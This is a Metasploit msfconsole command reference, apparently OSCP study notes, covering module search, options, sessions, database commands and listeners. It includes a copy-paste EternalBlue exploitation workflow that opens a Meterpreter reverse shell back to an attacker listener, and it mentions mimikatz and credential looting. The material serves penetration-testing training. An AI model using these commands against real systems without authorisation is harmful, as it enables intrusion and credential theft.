Msfconsole

msfconsole — Command Reference

Starting msfconsole

msfconsole                  # Standard launch
msfconsole -q               # Quiet mode (no banner)
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 10.10.10.10; run"  # Run command on start

---

📌 1) Core Navigation

Command	Description
help / ?	Show help menu
help <command>	Show help for a specific command
banner	Display a random MSF banner
version	Show MSF version
exit / quit	Exit msfconsole
back	Exit current module context (return to msf >)
previous	Switch back to the previously used module
reload_all	Reload all modules from disk

---

📌 2) Searching Modules

search <keyword>
search type:exploit name:eternalblue
search platform:windows type:exploit rank:excellent
search cve:2021-44228
search ms17-010

Search filters

Filter	Example	Description
name:	name:eternalblue	Match module name
type:	type:exploit	Module type (exploit, auxiliary, post, payload, encoder)
platform:	platform:windows	Target OS
arch:	arch:x64	Target architecture
rank:	rank:excellent	Module reliability rank
cve:	cve:2021-44228	CVE number
osvdb:	osvdb:12345	OSVDB reference
author:	author:hdm	Module author
app:	app:client	Client-side vs server-side

---

📌 3) Using Modules

use <module_path>
use exploit/windows/smb/ms17_010_eternalblue
use 3                        # Use by search result number
info                         # Show full module info (description, options, references)
show options                 # Show configurable options
show advanced                # Show advanced options
show targets                 # Show supported targets
show payloads                # Show compatible payloads for current module
show evasion                 # Show evasion options
check                        # Check if target is vulnerable (if supported)

---

📌 4) Setting Options

set <OPTION> <value>         # Set option for current module
set RHOSTS 10.10.10.10
set RHOSTS 10.10.10.0/24     # Subnet
set RHOSTS file:/tmp/hosts.txt  # Hosts from file
set RPORT 445
set LHOST 10.10.14.5
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp
 
unset <OPTION>               # Clear a single option
unset all                    # Clear all options
 
setg <OPTION> <value>        # Set GLOBAL (persists across modules)
setg LHOST 10.10.14.5
unsetg <OPTION>              # Clear global option
 
get <OPTION>                 # Print current value of an option

Common Options

Option	Description
RHOSTS	Target host(s) / IP / range / file
RPORT	Target port
LHOST	Your listener IP (reverse connection)
LPORT	Your listener port
payload	Payload to deliver
TARGET	Specific target index (from show targets)
THREADS	Number of concurrent threads (aux modules)
USERNAME / PASSWORD	Credentials for auth modules
SRVHOST / SRVPORT	Host/port for MSF listener/server
SSL	Use SSL/TLS
VERBOSE	Enable verbose output
ConnectTimeout	Seconds before connection attempt times out

---

📌 5) Running Modules

run                          # Execute the current module
exploit                      # Alias for run (exploit context)
run -j                       # Run as a background job
exploit -j                   # Same — run exploit as job
run -z                       # Run and background session immediately on success
exploit -e <encoder>         # Run exploit with a specific encoder

---

📌 6) Session Management

sessions                     # List all active sessions
sessions -l                  # Long listing (same as sessions)
sessions -i <ID>             # Interact with session (foreground it)
sessions -b <ID>             # Background a session
sessions -k <ID>             # Kill a session
sessions -K                  # Kill ALL sessions
sessions -u <ID>             # Upgrade shell to Meterpreter
sessions -c <cmd>            # Run a command on all sessions
sessions -x                  # List sessions with extra info

Session types

Type	Description
shell	Basic OS shell (cmd.exe, /bin/sh)
meterpreter	Full Metasploit meterpreter session
powershell	PowerShell session
vnc	VNC viewer session

---

📌 7) Jobs

jobs                         # List running background jobs
jobs -l                      # Same as jobs
jobs -i <ID>                 # Show job details
jobs -k <ID>                 # Kill a job
jobs -K                      # Kill ALL jobs

---

📌 8) Database Commands

Requires PostgreSQL. Start with: msfdb init && msfdb start

db_status                    # Check DB connection status
workspace                    # List workspaces
workspace -a <name>          # Create new workspace
workspace -d <name>          # Delete workspace
workspace <name>             # Switch to workspace
 
db_nmap <nmap flags> <target>     # Run Nmap and store results in DB
db_import <file>             # Import scan results (Nmap XML, Nessus, etc.)
db_export -f xml output.xml  # Export DB data
 
hosts                        # List discovered hosts
hosts -c address,os_name     # Columns filter
hosts -S <search>            # Search hosts
services                     # List discovered services
services -p 445              # Filter by port
services -S smb              # Filter by service name
vulns                        # List found vulnerabilities
loot                         # List captured loot (files, hashes, etc.)
creds                        # List stored credentials
notes                        # List notes attached to hosts

---

📌 9) Handlers (Listeners)

Set up a standalone listener to catch reverse shells:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
run -j                       # Run as background job so console stays free

Tip: Always use exploit/multi/handler when catching shells from payloads you generated with msfvenom.

---

📌 10) Useful Utilities

connect -h                   # nc-like TCP/UDP connect from msfconsole
connect 10.10.10.10 4444
 
load <plugin>                # Load a plugin
load mimikatz                # Load mimikatz plugin (if available)
 
spool /tmp/msf_log.txt       # Log all output to file
spool off                    # Stop logging
 
makerc /tmp/setup.rc         # Save all commands run so far to a .rc file
resource /tmp/setup.rc       # Load and execute a .rc script
 
history                      # Show command history
grep <pattern> <command>     # Filter output (e.g. grep meterpreter show payloads)

.rc Script Example

# File: setup.rc
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.10
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
run

msfconsole -r setup.rc       # Load on startup

---

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# Start quiet
msfconsole -q
 
# Find a module
search type:exploit platform:windows ms17-010
 
# Full workflow
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.10
set LHOST 10.10.14.5
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp
show options
run
 
# Catch reverse shell
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
run -j
 
# Manage sessions
sessions -l
sessions -i 1
 
# Upgrade a basic shell to meterpreter
sessions -u 1

---

Related Tools

• Msfvenom
• Meterpreter
• Auxiliary
• Payloads

Related Notes

• MetaSploit
• Msfvenom
• Payloads
• Meterpreter
• Post-Exploitation
• Auxiliary
• Nmap
• Shells
• Training